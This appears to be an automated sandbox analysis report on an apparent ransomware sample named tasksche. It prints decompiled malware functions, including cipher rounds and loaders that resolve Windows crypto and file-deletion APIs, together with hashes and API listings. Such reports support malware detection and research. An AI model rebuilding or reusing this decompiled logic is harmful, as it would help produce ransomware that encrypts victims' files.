					_t236 = _a8;
					_t219 = _v24;
					_a8 = _t275 + 0x454;
					_t100 =  &_v28; // 0x403b51
					_v44 =  *_t100 - _t219;
					_v40 = _v32 - _t219;
					do {
						_a8 =  &(_a8[4]);
						_a4 =  *((intOrPtr*)(_t275 + 8 + (_v8 +  *(_t275 + 0x410) * 8) * 4));
						 *_t236 =  *0x004089FC ^ _a4 >> 0x00000018;
						_t237 =  &(_t236[1]);
						asm("cdq");
						 *_t237 =  *0x004089FC ^ _a4 >> 0x00000010;
						asm("cdq");
						_t238 =  &(_t237[1]);
						 *_t238 =  *0x004089FC ^ _a4 >> 0x00000008;
						_t239 =  &(_t238[1]);
						asm("cdq");
						_t158 =  *(( *(_t275 + 0x454 + (_v40 + _t219) % _t274 * 4) & 0x000000ff) + 0x4089fc) ^ _a4;
						 *_t239 = _t158;
						_t236 =  &(_t239[1]);
						_v8 = _v8 + 1;
						_t219 = _t219 + 1;
					} while (_v8 < _t274);
				}
				return _t158;
			}


































                      0x00403517
                      0x0040351e
                      0x00403528
                      0x00403531
                      0x00403536
                      0x00403537
                      0x00403537
                      0x0040353c
                      0x00403545
                      0x00000000
                      0x0040354f
                      0x0040355b
                      0x0040355c
                      0x0040355d
                      0x0040355f
                      0x0040356e
                      0x00403572
                      0x0040357d
                      0x0040358c
                      0x0040358f
                      0x00403592
                      0x00403598
                      0x0040359d
                      0x004035a0
                      0x004035a3
                      0x004035a6
                      0x004035ac
                      0x004035ad
                      0x004035b5
                      0x004035be
                      0x004035bf
                      0x004035c4
                      0x004035c9
                      0x004035cd
                      0x004035d0
                      0x004035d3
                      0x004035d5
                      0x004035d5
                      0x004035d5
                      0x004035a6
                      0x004035dc
                      0x004035e3
                      0x004035e6
                      0x004035ef
                      0x004035f2
                      0x004035f4
                      0x004035fd
                      0x004035fd
                      0x00403600
                      0x00403608
                      0x0040360b
                      0x00403613
                      0x00403619
                      0x0040361c
                      0x0040361f
                      0x00403627
                      0x0040363a
                      0x0040363d
                      0x00403660
                      0x00403682
                      0x00403688
                      0x0040368a
                      0x0040368d
                      0x00403690
                      0x00403690
                      0x00403690
                      0x0040361f
                      0x004036a9
                      0x004036ae
                      0x004036b2
                      0x004036b5
                      0x004036b8
                      0x004036bb
                      0x004035f2
                      0x004036c7
                      0x004036cd
                      0x004036d3
                      0x004036d6
                      0x004036df
                      0x004036e2
                      0x004036e7
                      0x004036ef
                      0x004036f2
                      0x00403701
                      0x00403709
                      0x0040371f
                      0x00403726
                      0x00403727
                      0x00403741
                      0x00403745
                      0x0040374a
                      0x00403760
                      0x00403767
                      0x00403768
                      0x0040377d
                      0x00403780
                      0x00403782
                      0x00403783
                      0x00403786
                      0x00403787
                      0x004036f2
                      0x00403794

                      APIs
                      • ??0exception@@QAE@ABQBD@Z.MSVCRT(0040F570,?,?,?,?,?,?,?,?,?,?,00403B51,?,?,?), ref: 00403528
                      • _CxxThrowException.MSVCRT(?,0040D570,?,?,?,?,?,?,?,00403B51,?,?,?), ref: 00403537
                      • memcpy.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,00403B51,?,?), ref: 004036A9
                      Strings
                      Memory Dump Source
                      • Source File: 00000018.00000002.476808460.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000018.00000002.476796809.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
                      • Associated: 00000018.00000002.476831292.0000000000408000.00000002.00000001.01000000.00000005.sdmpDownload File
                      • Associated: 00000018.00000002.476855965.000000000040E000.00000008.00000001.01000000.00000005.sdmpDownload File
                      • Associated: 00000018.00000002.476874714.0000000000410000.00000002.00000001.01000000.00000005.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_24_2_400000_tasksche.jbxd
                      Yara matches
                      Similarity
                      • API ID: ??0exception@@ExceptionThrowmemcpy
                      • String ID: $Q;@
                      • API String ID: 2382887404-262343263
                      • Opcode ID: 68433a68c8f87a96c4578501cf6b50a347b0c2ca376bc2ea45e1a632b2ad4c4a
                      • Instruction ID: bc36c6e363c45e845c5013d3ee32ff29fee655b638a1b5d52e43d816bbd12583
                      • Opcode Fuzzy Hash: 68433a68c8f87a96c4578501cf6b50a347b0c2ca376bc2ea45e1a632b2ad4c4a
                      • Instruction Fuzzy Hash: A581C3759002499FCB05CF68C9809EEBBF5EF89308F2484AEE595E7352C234BA45CF58
                      Uniqueness

                      Uniqueness Score: -1.00%

                      Function 00403797 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 214COMMONCrypto
                      Download Yara Rule
                      C-Code - Quality: 54%
                      			E00403797(void* __ecx, signed int _a4, signed char* _a8) {
				signed int _v8;
				signed int _v12;
				signed char _v16;
				signed int _v20;
				intOrPtr _v24;
				signed int _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				signed int _v44;
				char _v56;
				signed int _t150;
				signed int _t151;
				signed int _t155;
				signed int* _t157;
				signed char _t158;
				intOrPtr _t219;
				signed int _t230;
				signed char* _t236;
				signed char* _t237;
				signed char* _t238;
				signed char* _t239;
				signed int* _t240;
				signed char* _t242;
				signed char* _t243;
				signed char* _t245;
				signed int _t260;
				signed int* _t273;
				signed int _t274;
				void* _t275;
				void* _t276;

				_t275 = __ecx;
				if( *((char*)(__ecx + 4)) == 0) {
					__imp__??0exception@@QAE@ABQBD@Z(0x40f570);
					_push(0x40d570);
					_push( &_v56);
					L0040776E();
				}
				_t150 =  *(_t275 + 0x3cc);
				if(_t150 == 0x10) {
					return E004031BC(_t275, _a4, _a8);
				}
				asm("cdq");
				_t230 = 4;
				_t151 = _t150 / _t230;
				_t274 = _t151;
				asm("sbb eax, eax");
				_t155 = ( ~(_t151 - _t230) & (0 | _t274 != 0x00000006) + 0x00000001) << 5;
				_v28 =  *((intOrPtr*)(_t155 + 0x40bc28));
				_v24 =  *((intOrPtr*)(_t155 + 0x40bc30));
				_v32 =  *((intOrPtr*)(_t155 + 0x40bc38));
				_t157 = _t275 + 0x454;
				if(_t274 > 0) {
					_v16 = _t274;
					_v8 = _t275 + 0x1e8;
					_t242 = _a4;
					do {
						_t243 =  &(_t242[1]);
						 *_t157 = ( *_t242 & 0x000000ff) << 0x18;
						 *_t157 =  *_t157 | ( *_t243 & 0x000000ff) << 0x00000010;
						_t245 =  &(_t243[2]);
						_t273 = _t157;
						 *_t157 =  *_t157 |  *_t245 & 0x000000ff;
						_v8 = _v8 + 4;
						_t242 =  &(_t245[1]);
						_t157 =  &(_t157[1]);
						 *_t273 =  *_t273 ^  *_v8;
						_t27 =  &_v16;
						 *_t27 = _v16 - 1;
					} while ( *_t27 != 0);
				}
				_t158 = 1;
				_v16 = _t158;
				if( *(_t275 + 0x410) > _t158) {
					_v12 = _t275 + 0x208;
					do {
						if(_t274 > 0) {
							_t260 = _v28;
							_v8 = _v12;
							_a4 = _t260;
							_v36 = _v24 - _t260;
							_t240 = _t275 + 0x434;
							_v40 = _v32 - _t260;
							_v20 = _t274;
							do {
								asm("cdq");
								_v44 = 0;
								asm("cdq");
								asm("cdq");
								_v8 = _v8 + 4;
								 *_t240 =  *(0x40a3fc + _v44 * 4) ^  *(0x40a7fc + ( *(_t275 + 0x454 + (_v40 + _a4) % _t274 * 4) & 0x000000ff) * 4) ^  *0x00409FFC ^  *0x00409BFC ^  *_v8;
								_t240 =  &(_t240[1]);
								_a4 = _a4 + 1;
								_t84 =  &_v20;
								 *_t84 = _v20 - 1;
							} while ( *_t84 != 0);
						}
						memcpy(_t275 + 0x454, _t275 + 0x434, _t274 << 2);
						_v12 = _v12 + 0x20;
						_t276 = _t276 + 0xc;
						_v16 = _v16 + 1;
						_t158 = _v16;
					} while (_t158 <  *(_t275 + 0x410));
				}
				_v8 = _v8 & 0x00000000;
				if(_t274 > 0) {
					_t236 = _a8;
					_t219 = _v24;
					_a8 = _t275 + 0x454;
					_v44 = _v28 - _t219;
					_v40 = _v32 - _t219;
					do {
						_a8 =  &(_a8[4]);
						_a4 =  *((intOrPtr*)(_t275 + 0x1e8 + (_v8 +  *(_t275 + 0x410) * 8) * 4));
						 *_t236 =  *0x00408AFC ^ _a4 >> 0x00000018;
						_t237 =  &(_t236[1]);
						asm("cdq");
						 *_t237 =  *0x00408AFC ^ _a4 >> 0x00000010;
						asm("cdq");
						_t238 =  &(_t237[1]);
						 *_t238 =  *0x00408AFC ^ _a4 >> 0x00000008;
						_t239 =  &(_t238[1]);
						asm("cdq");
						_t158 =  *(( *(_t275 + 0x454 + (_v40 + _t219) % _t274 * 4) & 0x000000ff) + 0x408afc) ^ _a4;
						 *_t239 = _t158;
						_t236 =  &(_t239[1]);
						_v8 = _v8 + 1;
						_t219 = _t219 + 1;
					} while (_v8 < _t274);
				}
				return _t158;
			}


































                      0x0040379f
                      0x004037a6
                      0x004037b0
                      0x004037b9
                      0x004037be
                      0x004037bf
                      0x004037bf
                      0x004037c4
                      0x004037cd
                      0x00000000
                      0x004037d7
                      0x004037e3
                      0x004037e4
                      0x004037e5
                      0x004037e7
                      0x004037f6
                      0x004037fa
                      0x00403805
                      0x00403814
                      0x00403817
                      0x0040381a
                      0x00403820
                      0x00403828
                      0x0040382b
                      0x0040382e
                      0x00403831
                      0x00403837
                      0x00403838
                      0x00403840
                      0x00403849
                      0x0040384a
                      0x0040384f
                      0x00403854
                      0x00403858
                      0x0040385b
                      0x0040385e
                      0x00403860
                      0x00403860
                      0x00403860
                      0x00403831
                      0x00403867
                      0x0040386e
                      0x00403871
                      0x0040387d
                      0x00403880
                      0x00403882
                      0x0040388b
                      0x0040388e
                      0x00403896
                      0x00403899
                      0x004038a1
                      0x004038a7
                      0x004038aa
                      0x004038ad
                      0x004038b5
                      0x004038c8
                      0x004038cb
                      0x004038ee
                      0x00403910
                      0x00403916
                      0x00403918
                      0x0040391b
                      0x0040391e
                      0x0040391e
                      0x0040391e
                      0x004038ad
                      0x00403937
                      0x0040393c
                      0x00403940
                      0x00403943
                      0x00403946
                      0x00403949
                      0x00403880
                      0x00403955
                      0x0040395b
                      0x00403961
                      0x00403964
                      0x0040396d
                      0x00403975
                      0x0040397d
                      0x00403980
                      0x0040398f
                      0x0040399a
                      0x004039b0
                      0x004039b7
                      0x004039b8
                      0x004039d2
                      0x004039d6
                      0x004039db
                      0x004039f1
                      0x004039f8
                      0x004039f9
                      0x00403a0e
                      0x00403a11
                      0x00403a13
                      0x00403a14
                      0x00403a17
                      0x00403a18
                      0x00403980
                      0x00403a25

                      APIs
                      • ??0exception@@QAE@ABQBD@Z.MSVCRT(0040F570,?,?,?,?,?,?,?,?,?,?,00403B9C,?,?,?), ref: 004037B0
                      • _CxxThrowException.MSVCRT(?,0040D570,?,?,?,?,?,?,?,00403B9C,?,?,?), ref: 004037BF
                      • memcpy.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,00403B9C,?,?), ref: 00403937
                      Strings
                      Memory Dump Source
                      • Source File: 00000018.00000002.476808460.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000018.00000002.476796809.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
                      • Associated: 00000018.00000002.476831292.0000000000408000.00000002.00000001.01000000.00000005.sdmpDownload File
                      • Associated: 00000018.00000002.476855965.000000000040E000.00000008.00000001.01000000.00000005.sdmpDownload File
                      • Associated: 00000018.00000002.476874714.0000000000410000.00000002.00000001.01000000.00000005.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_24_2_400000_tasksche.jbxd
                      Yara matches
                      Similarity
                      • API ID: ??0exception@@ExceptionThrowmemcpy
                      • String ID:
                      • API String ID: 2382887404-3916222277
                      • Opcode ID: f4b5f5b39d3fd1fccf69c885608927ed404fa65085bd71c262b9c8f9e9248758
                      • Instruction ID: 1cfba4d829132d5223a2741c68a06c6b284a50eb41fad236877f379c856cacdf
                      • Opcode Fuzzy Hash: f4b5f5b39d3fd1fccf69c885608927ed404fa65085bd71c262b9c8f9e9248758
                      • Instruction Fuzzy Hash: B991C375A002499FCB05CF69C480AEEBBF5FF89315F2480AEE595E7342C234AA45CF58
                      Uniqueness

                      Uniqueness Score: -1.00%

                      Function 004029CC Relevance: 3.8, APIs: 3, Instructions: 55memoryCOMMON
                      Download Yara Rule
                      C-Code - Quality: 100%
                      			E004029CC(void* _a4) {
				void* _t17;
				intOrPtr _t18;
				intOrPtr _t23;
				intOrPtr _t25;
				signed int _t35;
				void* _t37;

				_t37 = _a4;
				if(_t37 != 0) {
					if( *((intOrPtr*)(_t37 + 0x10)) != 0) {
						_t25 =  *((intOrPtr*)(_t37 + 4));
						 *((intOrPtr*)( *((intOrPtr*)( *_t37 + 0x28)) + _t25))(_t25, 0, 0);
					}
					if( *(_t37 + 8) == 0) {
						L9:
						_t18 =  *((intOrPtr*)(_t37 + 4));
						if(_t18 != 0) {
							 *((intOrPtr*)(_t37 + 0x20))(_t18, 0, 0x8000,  *((intOrPtr*)(_t37 + 0x30)));
						}
						return HeapFree(GetProcessHeap(), 0, _t37);
					} else {
						_t35 = 0;
						if( *((intOrPtr*)(_t37 + 0xc)) <= 0) {
							L8:
							free( *(_t37 + 8));
							goto L9;
						} else {
							goto L5;
						}
						do {
							L5:
							_t23 =  *((intOrPtr*)( *(_t37 + 8) + _t35 * 4));
							if(_t23 != 0) {
								 *((intOrPtr*)(_t37 + 0x2c))(_t23,  *((intOrPtr*)(_t37 + 0x30)));
							}
							_t35 = _t35 + 1;
						} while (_t35 <  *((intOrPtr*)(_t37 + 0xc)));
						goto L8;
					}
				}
				return _t17;
			}









                      0x004029ce
                      0x004029d6
                      0x004029db
                      0x004029df
                      0x004029ea
                      0x004029ea
                      0x004029ef
                      0x00402a1d
                      0x00402a1d
                      0x00402a22
                      0x00402a2e
                      0x00402a31
                      0x00000000
                      0x004029f1
                      0x004029f2
                      0x004029f7
                      0x00402a12
                      0x00402a15
                      0x00000000
                      0x00000000
                      0x00000000
                      0x00000000
                      0x004029f9
                      0x004029f9
                      0x004029fc
                      0x00402a01
                      0x00402a07
                      0x00402a0b
                      0x00402a0c
                      0x00402a0d
                      0x00000000
                      0x004029f9
                      0x004029ef
                      0x00402a45

                      APIs
                      • free.MSVCRT(?,00402198,00000000,00000000,0040243C,00000000), ref: 00402A15
                      • GetProcessHeap.KERNEL32(00000000,00000000,00000000,00000000,0040243C,00000000), ref: 00402A36
                      • HeapFree.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,00402185,00402198,004021A3,004021B2,00000000), ref: 00402A3D
                      Memory Dump Source
                      • Source File: 00000018.00000002.476808460.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000018.00000002.476796809.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
                      • Associated: 00000018.00000002.476831292.0000000000408000.00000002.00000001.01000000.00000005.sdmpDownload File
                      • Associated: 00000018.00000002.476855965.000000000040E000.00000008.00000001.01000000.00000005.sdmpDownload File
                      • Associated: 00000018.00000002.476874714.0000000000410000.00000002.00000001.01000000.00000005.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_24_2_400000_tasksche.jbxd
                      Yara matches
                      Similarity
                      • API ID: Heap$FreeProcessfree
                      • String ID:
                      • API String ID: 3428986607-0
                      • Opcode ID: 67af2f346d87749f9cdb855264ac8d2816ecbe8db690f3f12af5f99a0e11ec4c
                      • Instruction ID: 6307eaad725422957632c7c85bafc458d1caddc7471a2505469f2591130cc2ff
                      • Opcode Fuzzy Hash: 67af2f346d87749f9cdb855264ac8d2816ecbe8db690f3f12af5f99a0e11ec4c
                      • Instruction Fuzzy Hash: C4010C72600A019FCB309FA5DE88967B7E9FF48321354483EF196A2591CB75F841CF58
                      Uniqueness

                      Uniqueness Score: -1.00%

                      Function 004018B9 Relevance: 1.5, APIs: 1, Instructions: 25encryptionCOMMON
                      Download Yara Rule
                      C-Code - Quality: 16%
                      			E004018B9(void* __ecx) {
				signed int _t10;
				signed int _t11;
				long* _t12;
				void* _t13;
				void* _t18;

				_t18 = __ecx;
				_t10 =  *(__ecx + 8);
				if(_t10 != 0) {
					 *0x40f89c(_t10);
					 *(__ecx + 8) =  *(__ecx + 8) & 0x00000000;
				}
				_t11 =  *(_t18 + 0xc);
				if(_t11 != 0) {
					 *0x40f89c(_t11);
					 *(_t18 + 0xc) =  *(_t18 + 0xc) & 0x00000000;
				}
				_t12 =  *(_t18 + 4);
				if(_t12 != 0) {
					CryptReleaseContext(_t12, 0);
					 *(_t18 + 4) =  *(_t18 + 4) & 0x00000000;
				}
				_t13 = 1;
				return _t13;
			}








                      0x004018ba
                      0x004018bc
                      0x004018c1
                      0x004018c4
                      0x004018ca
                      0x004018ca
                      0x004018ce
                      0x004018d3
                      0x004018d6
                      0x004018dc
                      0x004018dc
                      0x004018e0
                      0x004018e5
                      0x004018ea
                      0x004018f0
                      0x004018f0
                      0x004018f6
                      0x004018f8

                      APIs
                      • CryptReleaseContext.ADVAPI32(?,00000000,?,004013DB,?,?,?,0040139D,?,?,00401366), ref: 004018EA
                      Memory Dump Source
                      • Source File: 00000018.00000002.476808460.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000018.00000002.476796809.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
                      • Associated: 00000018.00000002.476831292.0000000000408000.00000002.00000001.01000000.00000005.sdmpDownload File
                      • Associated: 00000018.00000002.476855965.000000000040E000.00000008.00000001.01000000.00000005.sdmpDownload File
                      • Associated: 00000018.00000002.476874714.0000000000410000.00000002.00000001.01000000.00000005.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_24_2_400000_tasksche.jbxd
                      Yara matches
                      Similarity
                      • API ID: ContextCryptRelease
                      • String ID:
                      • API String ID: 829835001-0
                      • Opcode ID: 5ecafc68ca33f8cfa3c4e9ed1ded46982a6db61dfcb788b9f393b121ae522fda
                      • Instruction ID: 2349b07d823645f04250185dd133334db1216db109592f97c32ed3e6f6040a2b
                      • Opcode Fuzzy Hash: 5ecafc68ca33f8cfa3c4e9ed1ded46982a6db61dfcb788b9f393b121ae522fda
                      • Instruction Fuzzy Hash: C7E0ED323147019BEB30AB65ED49B5373E8AF00762F04C83DB05AE6990CBB9E8448A58
                      Uniqueness

                      Uniqueness Score: -1.00%

                      Function 0040170A Relevance: 28.1, APIs: 8, Strings: 8, Instructions: 65libraryloaderCOMMON
                      Download Yara Rule
                      C-Code - Quality: 100%
                      			E0040170A() {
				void* _t3;
				_Unknown_base(*)()* _t11;
				struct HINSTANCE__* _t13;
				intOrPtr _t18;
				intOrPtr _t20;
				intOrPtr _t21;
				intOrPtr _t22;
				intOrPtr _t23;
				intOrPtr _t24;
				intOrPtr _t25;

				if(E00401A45() == 0) {
					L11:
					return 0;
				}
				_t18 =  *0x40f878; // 0x0
				if(_t18 != 0) {
					L10:
					_t3 = 1;
					return _t3;
				}
				_t13 = LoadLibraryA("kernel32.dll");
				if(_t13 == 0) {
					goto L11;
				}
				 *0x40f878 = GetProcAddress(_t13, "CreateFileW");
				 *0x40f87c = GetProcAddress(_t13, "WriteFile");
				 *0x40f880 = GetProcAddress(_t13, "ReadFile");
				 *0x40f884 = GetProcAddress(_t13, "MoveFileW");
				 *0x40f888 = GetProcAddress(_t13, "MoveFileExW");
				 *0x40f88c = GetProcAddress(_t13, "DeleteFileW");
				_t11 = GetProcAddress(_t13, "CloseHandle");
				_t20 =  *0x40f878; // 0x0
				 *0x40f890 = _t11;
				if(_t20 == 0) {
					goto L11;
				}
				_t21 =  *0x40f87c; // 0x0
				if(_t21 == 0) {
					goto L11;
				}
				_t22 =  *0x40f880; // 0x0
				if(_t22 == 0) {
					goto L11;
				}
				_t23 =  *0x40f884; // 0x0
				if(_t23 == 0) {
					goto L11;
				}
				_t24 =  *0x40f888; // 0x0
				if(_t24 == 0) {
					goto L11;
				}
				_t25 =  *0x40f88c; // 0x0
				if(_t25 == 0 || _t11 == 0) {
					goto L11;
				} else {
					goto L10;
				}
			}













                      0x00401713
                      0x004017d8
                      0x00000000
                      0x004017d8
                      0x0040171b
                      0x00401721
                      0x004017d3
                      0x004017d5
                      0x00000000
                      0x004017d5
                      0x00401732
                      0x00401736
                      0x00000000
                      0x00000000
                      0x00401751
                      0x0040175e
                      0x0040176b
                      0x00401778
                      0x00401785
                      0x00401792
                      0x00401797
                      0x00401799
                      0x0040179f
                      0x004017a5
                      0x00000000
                      0x00000000
                      0x004017a7
                      0x004017ad
                      0x00000000
                      0x00000000
                      0x004017af
                      0x004017b5
                      0x00000000
                      0x00000000
                      0x004017b7
                      0x004017bd
                      0x00000000
                      0x00000000
                      0x004017bf
                      0x004017c5
                      0x00000000
                      0x00000000
                      0x004017c7
                      0x004017cd
                      0x00000000
                      0x00000000
                      0x00000000
                      0x00000000

                      APIs
                        • Part of subcall function 00401A45: LoadLibraryA.KERNEL32(advapi32.dll,?,?,00401711), ref: 00401A5A
                        • Part of subcall function 00401A45: GetProcAddress.KERNEL32(00000000,CryptAcquireContextA,?,?,?,00401711), ref: 00401A77
                        • Part of subcall function 00401A45: GetProcAddress.KERNEL32(00000000,CryptImportKey,?,?,?,00401711), ref: 00401A84
                        • Part of subcall function 00401A45: GetProcAddress.KERNEL32(00000000,CryptDestroyKey,?,?,?,00401711), ref: 00401A91
                        • Part of subcall function 00401A45: GetProcAddress.KERNEL32(00000000,CryptEncrypt,?,?,?,00401711), ref: 00401A9E
                        • Part of subcall function 00401A45: GetProcAddress.KERNEL32(00000000,CryptDecrypt,?,?,?,00401711), ref: 00401AAB
                        • Part of subcall function 00401A45: GetProcAddress.KERNEL32(00000000,CryptGenKey,?,?,?,00401711), ref: 00401AB8
                      • LoadLibraryA.KERNEL32(kernel32.dll), ref: 0040172C
                      • GetProcAddress.KERNEL32(00000000,CreateFileW), ref: 00401749
                      • GetProcAddress.KERNEL32(00000000,WriteFile), ref: 00401756
                      • GetProcAddress.KERNEL32(00000000,ReadFile), ref: 00401763
                      • GetProcAddress.KERNEL32(00000000,MoveFileW), ref: 00401770
                      • GetProcAddress.KERNEL32(00000000,MoveFileExW), ref: 0040177D
                      • GetProcAddress.KERNEL32(00000000,DeleteFileW), ref: 0040178A
                      • GetProcAddress.KERNEL32(00000000,CloseHandle), ref: 00401797
                      Strings
                      Memory Dump Source
                      • Source File: 00000018.00000002.476808460.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000018.00000002.476796809.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
                      • Associated: 00000018.00000002.476831292.0000000000408000.00000002.00000001.01000000.00000005.sdmpDownload File
                      • Associated: 00000018.00000002.476855965.000000000040E000.00000008.00000001.01000000.00000005.sdmpDownload File
                      • Associated: 00000018.00000002.476874714.0000000000410000.00000002.00000001.01000000.00000005.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_24_2_400000_tasksche.jbxd
                      Yara matches
                      Similarity
                      • API ID: AddressProc$LibraryLoad
                      • String ID: CloseHandle$CreateFileW$DeleteFileW$MoveFileExW$MoveFileW$ReadFile$WriteFile$kernel32.dll
                      • API String ID: 2238633743-1294736154
                      • Opcode ID: 39239a652de09aa7f9a0fc3aed99621d6525255b515761ed1c17c464bdaba5bf
                      • Instruction ID: c344c10c919c95db3ecd10b94979b50738023765c799e55a58251b06a1d00095
                      • Opcode Fuzzy Hash: 39239a652de09aa7f9a0fc3aed99621d6525255b515761ed1c17c464bdaba5bf
                      • Instruction Fuzzy Hash: D9118E729003059ACB30BF73AE84A577AF8A644751B64483FE501B3EF0D77894499E1E
                      Uniqueness

                      Uniqueness Score: -1.00%

                      Function 00401A45 Relevance: 24.6, APIs: 7, Strings: 7, Instructions: 56libraryloaderCOMMON
                      Download Yara Rule
                      C-Code - Quality: 100%
                      			E00401A45() {
				void* _t1;
				_Unknown_base(*)()* _t9;
				struct HINSTANCE__* _t11;
				intOrPtr _t15;
				intOrPtr _t17;
				intOrPtr _t18;
				intOrPtr _t19;
				intOrPtr _t20;
				intOrPtr _t21;

				_t15 =  *0x40f894; // 0x0
				if(_t15 != 0) {
					L8:
					_t1 = 1;
					return _t1;
				}
				_t11 = LoadLibraryA("advapi32.dll");
				if(_t11 == 0) {
					L9:
					return 0;
				}
				 *0x40f894 = GetProcAddress(_t11, "CryptAcquireContextA");
				 *0x40f898 = GetProcAddress(_t11, "CryptImportKey");
				 *0x40f89c = GetProcAddress(_t11, "CryptDestroyKey");
				 *0x40f8a0 = GetProcAddress(_t11, "CryptEncrypt");
				 *0x40f8a4 = GetProcAddress(_t11, "CryptDecrypt");
				_t9 = GetProcAddress(_t11, "CryptGenKey");
				_t17 =  *0x40f894; // 0x0
				 *0x40f8a8 = _t9;
				if(_t17 == 0) {
					goto L9;
				}
				_t18 =  *0x40f898; // 0x0
				if(_t18 == 0) {
					goto L9;
				}
				_t19 =  *0x40f89c; // 0x0
				if(_t19 == 0) {
					goto L9;
				}
				_t20 =  *0x40f8a0; // 0x0
				if(_t20 == 0) {
					goto L9;
				}
				_t21 =  *0x40f8a4; // 0x0
				if(_t21 == 0 || _t9 == 0) {
					goto L9;
				} else {
					goto L8;
				}
			}












                      0x00401a48
                      0x00401a4f
                      0x00401aec
                      0x00401aee
                      0x00000000
                      0x00401aee
                      0x00401a60
                      0x00401a64
                      0x00401af1
                      0x00000000
                      0x00401af1
                      0x00401a7f
                      0x00401a8c
                      0x00401a99
                      0x00401aa6
                      0x00401ab3
                      0x00401ab8
                      0x00401aba
                      0x00401ac0
                      0x00401ac6
                      0x00000000
                      0x00000000
                      0x00401ac8
                      0x00401ace
                      0x00000000
                      0x00000000
                      0x00401ad0
                      0x00401ad6
                      0x00000000
                      0x00000000
                      0x00401ad8
                      0x00401ade
                      0x00000000
                      0x00000000
                      0x00401ae0
                      0x00401ae6
                      0x00000000
                      0x00000000
                      0x00000000
                      0x00000000

                      APIs
                      • LoadLibraryA.KERNEL32(advapi32.dll,?,?,00401711), ref: 00401A5A
                      • GetProcAddress.KERNEL32(00000000,CryptAcquireContextA,?,?,?,00401711), ref: 00401A77
                      • GetProcAddress.KERNEL32(00000000,CryptImportKey,?,?,?,00401711), ref: 00401A84
                      • GetProcAddress.KERNEL32(00000000,CryptDestroyKey,?,?,?,00401711), ref: 00401A91
                      • GetProcAddress.KERNEL32(00000000,CryptEncrypt,?,?,?,00401711), ref: 00401A9E
                      • GetProcAddress.KERNEL32(00000000,CryptDecrypt,?,?,?,00401711), ref: 00401AAB
                      • GetProcAddress.KERNEL32(00000000,CryptGenKey,?,?,?,00401711), ref: 00401AB8
                      Strings
                      Memory Dump Source
                      • Source File: 00000018.00000002.476808460.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000018.00000002.476796809.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
                      • Associated: 00000018.00000002.476831292.0000000000408000.00000002.00000001.01000000.00000005.sdmpDownload File
                      • Associated: 00000018.00000002.476855965.000000000040E000.00000008.00000001.01000000.00000005.sdmpDownload File
                      • Associated: 00000018.00000002.476874714.0000000000410000.00000002.00000001.01000000.00000005.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_24_2_400000_tasksche.jbxd
                      Yara matches
                      Similarity
                      • API ID: AddressProc$LibraryLoad
                      • String ID: CryptAcquireContextA$CryptDecrypt$CryptDestroyKey$CryptEncrypt$CryptGenKey$CryptImportKey$advapi32.dll
                      • API String ID: 2238633743-2459060434
                      • Opcode ID: b9d8274d123a30a539352919ce36730ce9328d7041a45cd95e79278e35d60e58
                      • Instruction ID: 9aae3444cc52ced5e7e1ad1d2a06d11cf911cb2b3a933a05a08c6ba10b936042
                      • Opcode Fuzzy Hash: b9d8274d123a30a539352919ce36730ce9328d7041a45cd95e79278e35d60e58
                      • Instruction Fuzzy Hash: 20011E32A86311EBDB30AFA5AE856677AE4EA41750368843FB104B2DB1D7F81448DE5C
                      Uniqueness

                      Uniqueness Score: -1.00%

                      Function 00407136 Relevance: 21.3, APIs: 8, Strings: 4, Instructions: 272COMMON
                      Download Yara Rule
                      C-Code - Quality: 88%
                      			E00407136(intOrPtr* __ecx, void* __edx, void* _a4, char _a7, char* _a8, char _a11, signed int _a12, intOrPtr _a16) {
				long _v8;
				char _v267;
				char _v268;
				struct _FILETIME _v284;
				struct _FILETIME _v292;
				struct _FILETIME _v300;
				long _v304;
				char _v568;
				char _v828;
				intOrPtr _t78;
				intOrPtr _t89;
				intOrPtr _t91;
				intOrPtr _t96;
				intOrPtr _t97;
				char _t100;
				void* _t112;
				void* _t113;
				int _t124;
				long _t131;
				intOrPtr _t136;
				char* _t137;
				char* _t144;
				void* _t148;
				char* _t150;
				void* _t154;
				signed int _t155;
				long _t156;
				void* _t157;
				char* _t158;
				long _t159;
				intOrPtr* _t161;
				long _t162;
				void* _t163;
				void* _t164;

				_t154 = __edx;
				_t139 = __ecx;
				_t136 = _a16;
				_t161 = __ecx;
				if(_t136 == 3) {
					_t78 =  *((intOrPtr*)(__ecx + 4));
					_t155 = _a4;
					__eflags = _t155 - _t78;
					if(_t155 == _t78) {
						L14:
						_t156 = E00406880(_t139,  *_t161, _a8, _a12,  &_a7);
						__eflags = _t156;
						if(_t156 <= 0) {
							E00406A97( *_t161);
							_t14 = _t161 + 4;
							 *_t14 =  *(_t161 + 4) | 0xffffffff;
							__eflags =  *_t14;
						}
						__eflags = _a7;
						if(_a7 == 0) {
							__eflags = _t156;
							if(_t156 <= 0) {
